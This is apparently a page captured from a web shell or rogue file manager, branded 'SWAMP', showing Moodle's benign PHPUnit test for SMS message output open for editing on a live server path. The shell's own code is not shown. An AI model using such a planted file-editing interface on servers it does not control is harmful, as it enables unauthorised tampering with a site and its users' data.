░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
pplmvsvm
LOCATION:
/var/www/moodle/public/message/output/sms/tests
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: message_output_sms_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. namespace message_sms; use core_sms\message; use core_sms\message_status; use core_sms\task\send_sms_task; use mod_assign\notification_helper; /** * SMS processor tests. * * @package message_sms * @copyright 2025 Safat Shahin <safat.shahin@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \message_output_sms */ final class message_output_sms_test extends \advanced_testcase { /** * Test the SMS output for the SMS processor. */ public function test_sms_output(): void { global $CFG; require_once($CFG->dirroot . "/sms/tests/fixtures/dummy_gateway.php"); $this->preventResetByRollback(); $this->resetAfterTest(); $config = new \stdClass(); $config->priority = 50; $manager = \core\di::get(\core_sms\manager::class); $manager->create_gateway_instance( classname: \smsgateway_dummy\gateway::class, name: 'dummy', enabled: true, config: $config, ); // Set the configs and enable SMS. \core\plugininfo\message::enable_plugin( pluginname: 'sms', enabled: 1, ); // We have to use assign because this is the only component supports sms at the moment. set_config('message_provider_mod_assign_assign_due_digest_enabled', 'sms', 'message'); $user = self::getDataGenerator()->create_user(); $user->phone2 = '+61000000000'; $user2 = self::getDataGenerator()->create_user(); $CFG->noreplyuser = $user2->id; // Send a notification. $message = new \core\message\message(); $message->component = 'mod_assign'; $message->name = notification_helper::TYPE_DUE_DIGEST; $message->userfrom = \core_user::get_noreply_user(); $message->userto = $user; $message->subject = 'Hello'; $message->fullmessageformat = FORMAT_PLAIN; $message->fullmessage = 'Hello message'; $message->fullmessagehtml = 'Hello message'; $message->smallmessage = 'Hello message'; $message->fullmessagesms = 'Hello sms message'; $message->notification = 1; message_send($message); $messagedbrecords = $manager->get_messages(); $this->assertInstanceOf(\Generator::class, $messagedbrecords); $messages = iterator_to_array($messagedbrecords); $this->assertCount(1, $messages); $message = $messages[0]; $this->assertInstanceOf(message::class, $message); $this->assertIsInt($message->id); $this->assertEquals(message_status::GATEWAY_QUEUED, $message->status); $this->assertEquals('Hello sms message', $message->content); $storedmessage = $manager->get_message(['id' => $message->id]); $this->assertEquals($message, $storedmessage); $adhoctask = \core\task\manager::get_adhoc_tasks(send_sms_task::class); $this->assertCount(1, $adhoctask); // Now lets run the task and check if SMS is sent. $this->run_all_adhoc_tasks(); $message = $manager->get_message(['id' => $message->id]); $this->assertEquals(message_status::GATEWAY_SENT, $message->status); } }
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 message_output_sms_test.php
PHP
3.9 KB
2026-02-11 01:44
EDIT